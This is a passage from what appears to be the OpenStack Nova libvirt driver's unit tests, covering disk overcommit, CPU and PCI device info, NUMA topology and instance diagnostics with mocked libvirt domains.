side_effect(name, dom): if name == 'instance0000001': raise OSError(errno.EACCES, 'Permission denied') if name == 'instance0000002': return fake_disks.get(name) get_disk_info = mock.Mock() get_disk_info.side_effect = side_effect drvr._get_instance_disk_info = get_disk_info result = drvr._get_disk_over_committed_size_total() self.assertEqual(21474836480, result) mock_list.assert_called_with() @mock.patch.object(host.Host, "list_instance_domains", return_value=[mock.MagicMock(name='foo')]) @mock.patch.object(libvirt_driver.LibvirtDriver, "_get_instance_disk_info", side_effect=exception.VolumeBDMPathNotFound(path='bar')) def test_disk_over_committed_size_total_bdm_not_found(self, mock_get_disk_info, mock_list_domains): # Tests that we handle VolumeBDMPathNotFound gracefully. drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertEqual(0, drvr._get_disk_over_committed_size_total()) def test_cpu_info(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) def get_host_capabilities_stub(self): cpu = vconfig.LibvirtConfigCPU() cpu.model = "Opteron_G4" cpu.vendor = "AMD" cpu.arch = arch.X86_64 cpu.cores = 2 cpu.threads = 1 cpu.sockets = 4 cpu.add_feature(vconfig.LibvirtConfigCPUFeature("extapic")) cpu.add_feature(vconfig.LibvirtConfigCPUFeature("3dnow")) caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu guest = vconfig.LibvirtConfigGuest() guest.ostype = vm_mode.HVM guest.arch = arch.X86_64 guest.domtype = ["kvm"] caps.guests.append(guest) guest = vconfig.LibvirtConfigGuest() guest.ostype = vm_mode.HVM guest.arch = arch.I686 guest.domtype = ["kvm"] caps.guests.append(guest) return caps self.stubs.Set(host.Host, "get_capabilities", get_host_capabilities_stub) want = {"vendor": "AMD", "features": set(["extapic", "3dnow"]), "model": "Opteron_G4", "arch": arch.X86_64, "topology": {"cores": 2, "threads": 1, "sockets": 4}} got = drvr._get_cpu_info() self.assertEqual(want, got) def test_get_pcidev_info(self): def fake_nodeDeviceLookupByName(self, name): return FakeNodeDevice(_fake_NodeDevXml[name]) self.mox.StubOutWithMock(host.Host, 'device_lookup_by_name') host.Host.device_lookup_by_name = fake_nodeDeviceLookupByName drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) actualvf = drvr._get_pcidev_info("pci_0000_04_00_3") expect_vf = { "dev_id": "pci_0000_04_00_3", "address": "0000:04:00.3", "product_id": '1521', "numa_node": None, "vendor_id": '8086', "label": 'label_8086_1521', "dev_type": 'type-PF', } self.assertEqual(expect_vf, actualvf) actualvf = drvr._get_pcidev_info("pci_0000_04_10_7") expect_vf = { "dev_id": "pci_0000_04_10_7", "address": "0000:04:10.7", "product_id": '1520', "numa_node": None, "vendor_id": '8086', "label": 'label_8086_1520', "dev_type": 'type-VF', "phys_function": '0000:04:00.3', } self.assertEqual(expect_vf, actualvf) actualvf = drvr._get_pcidev_info("pci_0000_04_11_7") expect_vf = { "dev_id": "pci_0000_04_11_7", "address": "0000:04:11.7", "product_id": '1520', "vendor_id": '8086', "numa_node": 0, "label": 'label_8086_1520', "dev_type": 'type-VF', "phys_function": '0000:04:00.3', } self.assertEqual(expect_vf, actualvf) def test_list_devices_not_supported(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) # Handle just the NO_SUPPORT error not_supported_exc = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, 'this function is not supported by the connection driver:' ' virNodeNumOfDevices', error_code=fakelibvirt.VIR_ERR_NO_SUPPORT) with mock.patch.object(drvr._conn, 'listDevices', side_effect=not_supported_exc): self.assertEqual('[]', drvr._get_pci_passthrough_devices()) # We cache not supported status to avoid emitting too many logging # messages. Clear this value to test the other exception case. del drvr._list_devices_supported # Other errors should not be caught other_exc = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, 'other exc', error_code=fakelibvirt.VIR_ERR_NO_DOMAIN) with mock.patch.object(drvr._conn, 'listDevices', side_effect=other_exc): self.assertRaises(fakelibvirt.libvirtError, drvr._get_pci_passthrough_devices) def test_get_pci_passthrough_devices(self): def fakelistDevices(caps, fakeargs=0): return ['pci_0000_04_00_3', 'pci_0000_04_10_7', 'pci_0000_04_11_7'] self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.listDevices = fakelistDevices def fake_nodeDeviceLookupByName(self, name): return FakeNodeDevice(_fake_NodeDevXml[name]) self.mox.StubOutWithMock(host.Host, 'device_lookup_by_name') host.Host.device_lookup_by_name = fake_nodeDeviceLookupByName drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) actjson = drvr._get_pci_passthrough_devices() expectvfs = [ { "dev_id": "pci_0000_04_00_3", "address": "0000:04:00.3", "product_id": '1521', "vendor_id": '8086', "dev_type": 'type-PF', "phys_function": None, "numa_node": None}, { "dev_id": "pci_0000_04_10_7", "domain": 0, "address": "0000:04:10.7", "product_id": '1520', "vendor_id": '8086', "numa_node": None, "dev_type": 'type-VF', "phys_function": [('0x0000', '0x04', '0x00', '0x3')]}, { "dev_id": "pci_0000_04_11_7", "domain": 0, "address": "0000:04:11.7", "product_id": '1520', "vendor_id": '8086', "numa_node": 0, "dev_type": 'type-VF', "phys_function": [('0x0000', '0x04', '0x00', '0x3')], } ] actualvfs = jsonutils.loads(actjson) for dev in range(len(actualvfs)): for key in actualvfs[dev].keys(): if key not in ['phys_function', 'virt_functions', 'label']: self.assertEqual(expectvfs[dev][key], actualvfs[dev][key]) def _fake_caps_numa_topology(self, cells_per_host=4, sockets_per_cell=1, cores_per_socket=1, threads_per_core=2, kb_mem=1048576): # Generate mempages list per cell cell_mempages = list() for cellid in range(cells_per_host): mempages_0 = vconfig.LibvirtConfigCapsNUMAPages() mempages_0.size = 4 mempages_0.total = 1024 * cellid mempages_1 = vconfig.LibvirtConfigCapsNUMAPages() mempages_1.size = 2048 mempages_1.total = 0 + cellid cell_mempages.append([mempages_0, mempages_1]) topology = fakelibvirt.HostInfo._gen_numa_topology(cells_per_host, sockets_per_cell, cores_per_socket, threads_per_core, kb_mem=kb_mem, numa_mempages_list=cell_mempages) return topology def _test_get_host_numa_topology(self, mempages): caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = arch.X86_64 caps.host.topology = self._fake_caps_numa_topology() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) expected_topo_dict = {'cells': [ {'cpus': '0,1', 'cpu_usage': 0, 'mem': {'total': 256, 'used': 0}, 'id': 0}, {'cpus': '3', 'cpu_usage': 0, 'mem': {'total': 256, 'used': 0}, 'id': 1}, {'cpus': '', 'cpu_usage': 0, 'mem': {'total': 256, 'used': 0}, 'id': 2}, {'cpus': '', 'cpu_usage': 0, 'mem': {'total': 256, 'used': 0}, 'id': 3}]} with contextlib.nested( mock.patch.object(host.Host, "get_capabilities", return_value=caps), mock.patch.object( hardware, 'get_vcpu_pin_set', return_value=set([0, 1, 3, 4, 5])), mock.patch.object(host.Host, 'get_online_cpus', return_value=set([0, 1, 2, 3, 6])), ): got_topo = drvr._get_host_numa_topology() got_topo_dict = got_topo._to_dict() self.assertThat( expected_topo_dict, matchers.DictMatches(got_topo_dict)) if mempages: # cells 0 self.assertEqual(4, got_topo.cells[0].mempages[0].size_kb) self.assertEqual(0, got_topo.cells[0].mempages[0].total) self.assertEqual(2048, got_topo.cells[0].mempages[1].size_kb) self.assertEqual(0, got_topo.cells[0].mempages[1].total) # cells 1 self.assertEqual(4, got_topo.cells[1].mempages[0].size_kb) self.assertEqual(1024, got_topo.cells[1].mempages[0].total) self.assertEqual(2048, got_topo.cells[1].mempages[1].size_kb) self.assertEqual(1, got_topo.cells[1].mempages[1].total) else: self.assertEqual([], got_topo.cells[0].mempages) self.assertEqual([], got_topo.cells[1].mempages) self.assertEqual(expected_topo_dict, got_topo_dict) self.assertEqual(set([]), got_topo.cells[0].pinned_cpus) self.assertEqual(set([]), got_topo.cells[1].pinned_cpus) self.assertEqual(set([]), got_topo.cells[2].pinned_cpus) self.assertEqual(set([]), got_topo.cells[3].pinned_cpus) self.assertEqual([set([0, 1])], got_topo.cells[0].siblings) self.assertEqual([], got_topo.cells[1].siblings) @mock.patch.object(host.Host, 'has_min_version', return_value=True) def test_get_host_numa_topology(self, mock_version): self._test_get_host_numa_topology(mempages=True) @mock.patch.object(fakelibvirt.Connection, 'getType') @mock.patch.object(fakelibvirt.Connection, 'getVersion') @mock.patch.object(fakelibvirt.Connection, 'getLibVersion') def test_get_host_numa_topology_no_mempages(self, mock_lib_version, mock_version, mock_type): self.flags(virt_type='kvm', group='libvirt') mock_lib_version.return_value = utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_HUGEPAGE_VERSION) - 1 mock_version.return_value = utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION) mock_type.return_value = host.HV_DRIVER_QEMU self._test_get_host_numa_topology(mempages=False) def test_get_host_numa_topology_empty(self): caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = arch.X86_64 caps.host.topology = None drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with contextlib.nested( mock.patch.object(host.Host, 'has_min_version', return_value=True), mock.patch.object(host.Host, "get_capabilities", return_value=caps) ) as (has_min_version, get_caps): self.assertIsNone(drvr._get_host_numa_topology()) self.assertEqual(2, get_caps.call_count) @mock.patch.object(fakelibvirt.Connection, 'getType') @mock.patch.object(fakelibvirt.Connection, 'getVersion') @mock.patch.object(fakelibvirt.Connection, 'getLibVersion') def test_get_host_numa_topology_old_version(self, mock_lib_version, mock_version, mock_type): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) mock_lib_version.return_value = utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_NUMA_VERSION) - 1 mock_version.return_value = utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION) mock_type.return_value = host.HV_DRIVER_QEMU self.assertIsNone(drvr._get_host_numa_topology()) @mock.patch.object(fakelibvirt.Connection, 'getType') @mock.patch.object(fakelibvirt.Connection, 'getVersion') @mock.patch.object(fakelibvirt.Connection, 'getLibVersion') def test_get_host_numa_topology_xen(self, mock_lib_version, mock_version, mock_type): self.flags(virt_type='xen', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) mock_lib_version.return_value = utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_NUMA_VERSION) mock_version.return_value = utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION) mock_type.return_value = host.HV_DRIVER_XEN self.assertIsNone(drvr._get_host_numa_topology()) def test_diagnostic_vcpus_exception(self): xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> <target dev='vdb' bus='virtio'/> </disk> <interface type='network'> <mac address='52:54:00:a4:38:38'/> <source network='default'/> <target dev='vnet0'/> </interface> </devices> </domain> """ class DiagFakeDomain(FakeVirtDomain): def __init__(self): super(DiagFakeDomain, self).__init__(fake_xml=xml) def vcpus(self): raise fakelibvirt.libvirtError('vcpus missing') def blockStats(self, path): return (169, 688640, 0, 0, -1) def interfaceStats(self, path): return (4408, 82, 0, 0, 0, 0, 0, 0) def memoryStats(self): return {'actual': 220160, 'rss': 200164} def maxMemory(self): return 280160 def fake_get_domain(self, instance): return DiagFakeDomain() self.stubs.Set(host.Host, "get_domain", fake_get_domain) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) actual = drvr.get_diagnostics(instance) expect = {'vda_read': 688640, 'vda_read_req': 169, 'vda_write': 0, 'vda_write_req': 0, 'vda_errors': -1, 'vdb_read': 688640, 'vdb_read_req': 169, 'vdb_write': 0, 'vdb_write_req': 0, 'vdb_errors': -1, 'memory': 280160, 'memory-actual': 220160, 'memory-rss': 200164, 'vnet0_rx': 4408, 'vnet0_rx_drop': 0, 'vnet0_rx_errors': 0, 'vnet0_rx_packets': 82, 'vnet0_tx': 0, 'vnet0_tx_drop': 0, 'vnet0_tx_errors': 0, 'vnet0_tx_packets': 0, } self.assertEqual(actual, expect) lt = datetime.datetime(2012, 11, 22, 12, 00, 00) diags_time = datetime.datetime(2012, 11, 22, 12, 00, 10) timeutils.set_time_override(diags_time) instance.launched_at = lt actual = drvr.get_instance_diagnostics(instance) expected = {'config_drive': False, 'cpu_details': [], 'disk_details': [{'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}, {'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}], 'driver': 'libvirt', 'hypervisor_os': 'linux', 'memory_details': {'maximum': 2048, 'used': 1234}, 'nic_details': [{'mac_address': '52:54:00:a4:38:38', 'rx_drop': 0, 'rx_errors': 0, 'rx_octets': 4408, 'rx_packets': 82, 'tx_drop': 0, 'tx_errors': 0, 'tx_octets': 0, 'tx_packets': 0}], 'state': 'running', 'uptime': 10, 'version': '1.0'} self.assertEqual(expected, actual.serialize()) def test_diagnostic_blockstats_exception(self): xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> <target dev='vdb' bus='virtio'/> </disk> <interface type='network'> <mac address='52:54:00:a4:38:38'/> <source network='default'/> <target dev='vnet0'/> </interface> </devices> </domain> """ class DiagFakeDomain(FakeVirtDomain): def __init__(self): super(DiagFakeDomain, self).__init__(fake_xml=xml) def vcpus(self): return ([(0, 1, 15340000000, 0), (1, 1, 1640000000, 0), (2, 1, 3040000000, 0), (3, 1, 1420000000, 0)], [(True, False), (True, False), (True, False), (True, False)]) def blockStats(self, path): raise fakelibvirt.libvirtError('blockStats missing') def interfaceStats(self, path): return (4408, 82, 0, 0, 0, 0, 0, 0) def memoryStats(self): return {'actual': 220160, 'rss': 200164} def maxMemory(self): return 280160 def fake_get_domain(self, instance): return DiagFakeDomain() self.stubs.Set(host.Host, "get_domain", fake_get_domain) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) actual = drvr.get_diagnostics(instance) expect = {'cpu0_time': 15340000000, 'cpu1_time': 1640000000, 'cpu2_time': 3040000000, 'cpu3_time': 1420000000, 'memory': 280160, 'memory-actual': 220160, 'memory-rss': 200164, 'vnet0_rx': 4408, 'vnet0_rx_drop': 0, 'vnet0_rx_errors': 0, 'vnet0_rx_packets': 82, 'vnet0_tx': 0, 'vnet0_tx_drop': 0, 'vnet0_tx_errors': 0, 'vnet0_tx_packets': 0, } self.assertEqual(actual, expect) lt = datetime.datetime(2012, 11, 22, 12, 00, 00) diags_time = datetime.datetime(2012, 11, 22, 12, 00, 10) timeutils.set_time_override(diags_time) instance.launched_at = lt actual = drvr.get_instance_diagnostics(instance) expected = {'config_drive': False, 'cpu_details': [{'time': 15340000000}, {'time': 1640000000}, {'time': 3040000000}, {'time': 1420000000}], 'disk_details': [], 'driver': 'libvirt', 'hypervisor_os': 'linux', 'memory_details': {'maximum': 2048, 'used': 1234}, 'nic_details': [{'mac_address': '52:54:00:a4:38:38', 'rx_drop': 0, 'rx_errors': 0, 'rx_octets': 4408, 'rx_packets': 82, 'tx_drop': 0, 'tx_errors': 0, 'tx_octets': 0, 'tx_packets': 0}], 'state': 'running', 'uptime': 10, 'version': '1.0'} self.assertEqual(expected, actual.serialize()) def test_diagnostic_interfacestats_exception(self): xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> <target dev='vdb' bus='virtio'/> </disk> <interface type='network'> <mac address='52:54:00:a4:38:38'/> <source network='default'/> <target dev='vnet0'/> </interface> </devices> </domain> """ class DiagFakeDomain(FakeVirtDomain): def __init__(self): super(DiagFakeDomain, self).__init__(fake_xml=xml) def vcpus(self): return ([(0, 1, 15340000000, 0), (1, 1, 1640000000, 0), (2, 1, 3040000000, 0), (3, 1, 1420000000, 0)], [(True, False), (True, False), (True, False), (True, False)]) def blockStats(self, path): return (169, 688640, 0, 0, -1) def interfaceStats(self, path): raise fakelibvirt.libvirtError('interfaceStat missing') def memoryStats(self): return {'actual': 220160, 'rss': 200164} def maxMemory(self): return 280160 def fake_get_domain(self, instance): return DiagFakeDomain() self.stubs.Set(host.Host, "get_domain", fake_get_domain) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) actual = drvr.get_diagnostics(instance) expect = {'cpu0_time': 15340000000, 'cpu1_time': 1640000000, 'cpu2_time': 3040000000, 'cpu3_time': 1420000000, 'vda_read': 688640, 'vda_read_req': 169, 'vda_write': 0, 'vda_write_req': 0, 'vda_errors': -1, 'vdb_read': 688640, 'vdb_read_req': 169, 'vdb_write': 0, 'vdb_write_req': 0, 'vdb_errors': -1, 'memory': 280160, 'memory-actual': 220160, 'memory-rss': 200164, } self.assertEqual(actual, expect) lt = datetime.datetime(2012, 11, 22, 12, 00, 00) diags_time = datetime.datetime(2012, 11, 22, 12, 00, 10) timeutils.set_time_override(diags_time) instance.launched_at = lt actual = drvr.get_instance_diagnostics(instance) expected = {'config_drive': False, 'cpu_details': [{'time': 15340000000}, {'time': 1640000000}, {'time': 3040000000}, {'time': 1420000000}], 'disk_details': [{'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}, {'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}], 'driver': 'libvirt', 'hypervisor_os': 'linux', 'memory_details': {'maximum': 2048, 'used': 1234}, 'nic_details': [], 'state': 'running', 'uptime': 10, 'version': '1.0'} self.assertEqual(expected, actual.serialize()) def test_diagnostic_memorystats_exception(self): xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> <target dev='vdb' bus='virtio'/> </disk> <interface type='network'> <mac address='52:54:00:a4:38:38'/> <source network='default'/> <target dev='vnet0'/> </interface> </devices> </domain> """ class DiagFakeDomain(FakeVirtDomain): def __init__(self): super(DiagFakeDomain, self).__init__(fake_xml=xml) def vcpus(self): return ([(0, 1, 15340000000, 0), (1, 1, 1640000000, 0), (2, 1, 3040000000, 0), (3, 1, 1420000000, 0)], [(True, False), (True, False), (True, False), (True, False)]) def blockStats(self, path): return (169, 688640, 0, 0, -1) def interfaceStats(self, path): return (4408, 82, 0, 0, 0, 0, 0, 0) def memoryStats(self): raise fakelibvirt.libvirtError('memoryStats missing') def maxMemory(self): return 280160 def fake_get_domain(self, instance): return DiagFakeDomain() self.stubs.Set(host.Host, "get_domain", fake_get_domain) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) actual = drvr.get_diagnostics(instance) expect = {'cpu0_time': 15340000000, 'cpu1_time': 1640000000, 'cpu2_time': 3040000000, 'cpu3_time': 1420000000, 'vda_read': 688640, 'vda_read_req': 169, 'vda_write': 0, 'vda_write_req': 0, 'vda_errors': -1, 'vdb_read': 688640, 'vdb_read_req': 169, 'vdb_write': 0, 'vdb_write_req': 0, 'vdb_errors': -1, 'memory': 280160, 'vnet0_rx': 4408, 'vnet0_rx_drop': 0, 'vnet0_rx_errors': 0, 'vnet0_rx_packets': 82, 'vnet0_tx': 0, 'vnet0_tx_drop': 0, 'vnet0_tx_errors': 0, 'vnet0_tx_packets': 0, } self.assertEqual(actual, expect) lt = datetime.datetime(2012, 11, 22, 12, 00, 00) diags_time = datetime.datetime(2012, 11, 22, 12, 00, 10) timeutils.set_time_override(diags_time) instance.launched_at = lt actual = drvr.get_instance_diagnostics(instance) expected = {'config_drive': False, 'cpu_details': [{'time': 15340000000}, {'time': 1640000000}, {'time': 3040000000}, {'time': 1420000000}], 'disk_details': [{'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}, {'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}], 'driver': 'libvirt', 'hypervisor_os': 'linux', 'memory_details': {'maximum': 2048, 'used': 1234}, 'nic_details': [{'mac_address': '52:54:00:a4:38:38', 'rx_drop': 0, 'rx_errors': 0, 'rx_octets': 4408, 'rx_packets': 82, 'tx_drop': 0, 'tx_errors': 0, 'tx_octets': 0, 'tx_packets': 0}], 'state': 'running', 'uptime': 10, 'version': '1.0'} self.assertEqual(expected, actual.serialize()) def test_diagnostic_full(self): xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> <target dev='vdb' bus='virtio'/> </disk> <interface type='network'> <mac address='52:54:00:a4:38:38'/> <source network='default'/> <target dev='vnet0'/> </interface> </devices> </domain> """ class DiagFakeDomain(FakeVirtDomain): def __init__(self): super(DiagFakeDomain, self).__init__(fake_xml=xml) def vcpus(self): return ([(0, 1, 15340000000, 0), (1, 1, 1640000000, 0), (2, 1, 3040000000, 0), (3, 1, 1420000000, 0)], [(True, False), (True, False), (True, False), (True, False)]) def blockStats(self, path): return (169, 688640, 0, 0, -1) def interfaceStats(self, path): return (4408, 82, 0, 0, 0, 0, 0, 0) def memoryStats(self): return {'actual': 220160, 'rss': 200164} def maxMemory(self): return 280160 def fake_get_domain(self, instance): return DiagFakeDomain() self.stubs.Set(host.Host, "get_domain", fake_get_domain) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) actual = drvr.get_diagnostics(instance) expect = {'cpu0_time': 15340000000, 'cpu1_time': 1640000000, 'cpu2_time': 3040000000, 'cpu3_time': 1420000000, 'vda_read': 688640, 'vda_read_req': 169, 'vda_write': 0, 'vda_write_req': 0, 'vda_errors': -1, 'vdb_read': 688640, 'vdb_read_req': 169, 'vdb_write': 0, 'vdb_write_req': 0, 'vdb_errors': -1, 'memory': 280160, 'memory-actual': 220160, 'memory-rss': 200164, 'vnet0_rx': 4408, 'vnet0_rx_drop': 0, 'vnet0_rx_errors': 0, 'vnet0_rx_packets': 82, 'vnet0_tx': 0, 'vnet0_tx_drop': 0, 'vnet0_tx_errors': 0, 'vnet0_tx_packets': 0, } self.assertEqual(actual, expect) lt = datetime.datetime(2012, 11, 22, 12, 00, 00) diags_time = datetime.datetime(2012, 11, 22, 12, 00, 10) timeutils.set_time_override(diags_time) instance.launched_at = lt actual = drvr.get_instance_diagnostics(instance) expected = {'config_drive': False, 'cpu_details': [{'time': 15340000000}, {'time': 1640000000}, {'time': 3040000000}, {'time': 1420000000}], 'disk_details': [{'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}, {'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}], 'driver': 'libvirt', 'hypervisor_os': 'linux', 'memory_details': {'maximum': 2048, 'used': 1234}, 'nic_details': [{'mac_address': '52:54:00:a4:38:38', 'rx_drop': 0, 'rx_errors': 0, 'rx_octets': 4408, 'rx_packets': 82, 'tx_drop': 0, 'tx_errors': 0, 'tx_octets': 0, 'tx_packets': 0}], 'state': 'running', 'uptime': 10, 'version': '1.0'} self.assertEqual(expected, actual.serialize()) @mock.patch.object(timeutils, 'utcnow') @mock.patch.object(host.Host, 'get_domain') def test_diagnostic_full_with_multiple_interfaces(self, mock_get_domain, mock_utcnow): xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> <target dev='vdb' bus='virtio'/> </disk> <interface type='network'> <mac address='52:54:00:a4:38:38'/> <source network='default'/> <target dev='vnet0'/> </interface> <interface type="bridge"> <mac address="53:55:00:a5:39:39"/> <model type="virtio"/> <target dev="br0"/> </interface> </devices> </domain> """ class DiagFakeDomain(FakeVirtDomain): def __init__(self): super(DiagFakeDomain, self).__init__(fake_xml=xml) def vcpus(self): return ([(0, 1, 15340000000, 0), (1, 1, 1640000000, 0), (2, 1, 3040000000, 0), (3, 1, 1420000000, 0)], [(True, False), (True, False), (True, False), (True, False)]) def blockStats(self, path): return (169, 688640, 0, 0, -1) def interfaceStats(self, path): return (4408, 82, 0, 0, 0, 0, 0, 0) def memoryStats(self): return {'actual': 220160, 'rss': 200164} def maxMemory(self): return 280160 def fake_get_domain(self): return DiagFakeDomain() mock_get_domain.side_effect = fake_get_domain drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) actual = drvr.get_diagnostics(instance) expect = {'cpu0_time': 15340000000, 'cpu1_time': 1640000000, 'cpu2_time': 3040000000, 'cpu3_time': 1420000000, 'vda_read': 688640, 'vda_read_req': 169, 'vda_write': 0, 'vda_write_req': 0, 'vda_errors': -1, 'vdb_read': 688640, 'vdb_read_req': 169, 'vdb_write': 0, 'vdb_write_req': 0, 'vdb_errors': -1, 'memory': 280160, 'memory-actual': 220160, 'memory-rss': 200164, 'vnet0_rx': 4408, 'vnet0_rx_drop': 0, 'vnet0_rx_errors': 0, 'vnet0_rx_packets': 82, 'vnet0_tx': 0, 'vnet0_tx_drop': 0, 'vnet0_tx_errors': 0, 'vnet0_tx_packets': 0, 'br0_rx': 4408, 'br0_rx_drop': 0, 'br0_rx_errors': 0, 'br0_rx_packets': 82, 'br0_tx': 0, 'br0_tx_drop': 0, 'br0_tx_errors': 0, 'br0_tx_packets': 0, } self.assertEqual(actual, expect) lt = datetime.datetime(2012, 11, 22, 12, 00, 00) diags_time = datetime.datetime(2012, 11, 22, 12, 00, 10) mock_utcnow.return_value = diags_time instance.launched_at = lt actual = drvr.get_instance_diagnostics(instance) expected = {'config_drive': False, 'cpu_details': [{'time': 15340000000}, {'time': 1640000000}, {'time': 3040000000}, {'time': 1420000000}], 'disk_details': [{'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}, {'errors_count': 0, 'id': '', 'read_bytes': 688640, 'read_requests': 169, 'write_bytes': 0, 'write_requests': 0}], 'driver': 'libvirt', 'hypervisor_os': 'linux', 'memory_details': {'maximum': 2048, 'used': 1234}, 'nic_details': [{'mac_address': '52:54:00:a4:38:38', 'rx_drop': 0, 'rx_errors': 0, 'rx_octets': 4408, 'rx_packets': 82, 'tx_drop': 0, 'tx_errors': 0, 'tx_octets': 0, 'tx_packets': 0}, {'mac_address': '53:55:00:a5:39:39', 'rx_drop': 0, 'rx_errors': 0, 'rx_octets': 4408, 'rx_packets': 82, 'tx_drop': 0, 'tx_errors': 0, 'tx_octets': 0, 'tx_packets': 0}], 'state': 'running', 'uptime': 10., 'version': '1.0'} self.assertEqual(expected, actual.serialize()) @mock.patch.object(host.Host, "list_instance_domains") def test_failing_vcpu_count(self, mock_list): """Domain can fail to return the vcpu description in case it's just starting up or shutting down. Make sure None is handled gracefully. """ class DiagFakeDomain(object): def __init__(self, vcpus): self._vcpus = vcpus def vcpus(self): if self._vcpus is None: raise fakelibvirt.libvirtError("fake-error") else: return ([[1, 2, 3, 4]] * self._vcpus, [True] * self._vcpus) def ID(self): return 1 def name(self): return "instance000001" def UUIDString(self): return "19479fee-07a5-49bb-9138-d3738280d63c" mock_list.return_value = [ DiagFakeDomain(None), DiagFakeDomain(5)] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertEqual(5, drvr._get_vcpu_used()) mock_list.assert_called_with() @mock.patch.object(host.Host, "list_instance_domains") def test_failing_vcpu_count_none(self, mock_list): """Domain will return zero if the current number of vcpus used is None. This is in case of VM state starting up or shutting down. None type returned is counted as zero. """ class DiagFakeDomain(object): def __init__(self): pass def vcpus(self): return None def ID(self): return 1 def name(self): return "instance000001" mock_list.return_value = [DiagFakeDomain()] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertEqual(0, drvr._get_vcpu_used()) mock_list.assert_called_with() def test_get_instance_capabilities(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) def get_host_capabilities_stub(self): caps = vconfig.LibvirtConfigCaps() guest = vconfig.LibvirtConfigGuest() guest.ostype = 'hvm' guest.arch = arch.X86_64 guest.domtype = ['kvm', 'qemu'] caps.guests.append(guest) guest = vconfig.LibvirtConfigGuest() guest.ostype = 'hvm' guest.arch = arch.I686 guest.domtype = ['kvm'] caps.guests.append(guest) return caps self.stubs.Set(host.Host, "get_capabilities", get_host_capabilities_stub) want = [(arch.X86_64, 'kvm', 'hvm'), (arch.X86_64, 'qemu', 'hvm'), (arch.I686, 'kvm', 'hvm')] got = drvr._get_instance_capabilities() self.assertEqual(want, got) def test_set_cache_mode(self): self.flags(disk_cachemodes=['file=directsync'], group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) fake_conf = FakeConfigGuestDisk() fake_conf.source_type = 'file' drvr._set_cache_mode(fake_conf) self.assertEqual(fake_conf.driver_cache, 'directsync') def test_set_cache_mode_invalid_mode(self): self.flags(disk_cachemodes=['file=FAKE'], group='libvirt') drvr = 